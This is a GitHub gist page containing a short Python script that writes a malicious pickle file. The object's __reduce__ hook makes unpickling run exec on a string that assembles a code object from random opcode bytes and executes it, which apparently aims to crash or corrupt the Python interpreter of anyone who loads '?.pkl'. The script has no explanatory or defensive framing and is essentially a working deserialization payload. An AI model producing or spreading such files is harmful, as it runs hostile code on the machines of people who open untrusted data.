Skip to content

Instantly share code, notes, and snippets.

@gamecss
Created August 15, 2023 08:00
Show Gist options
  • Save gamecss/1adc6976e782b0f30d6cbea0f2e11e36 to your computer and use it in GitHub Desktop.
Save gamecss/1adc6976e782b0f30d6cbea0f2e11e36 to your computer and use it in GitHub Desktop.
class ABCD(object):
def __reduce__(self):
a = """def a():
from opcode import opmap
from random import choice
from types import CodeType
ops = b""
opvalues = list(opmap.values())
while len(ops) < 37:
ops += choice(opvalues).to_bytes(1, "little")
code = CodeType(0, 0, 0, 0, 0, 0, ops, (), (), (), "", "rf", 1, b"")
exec(code)
a()"""
return exec, (a,)
import pickle
with open("?.pkl", "wb") as f:
pickle.dump(ABCD(), f)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment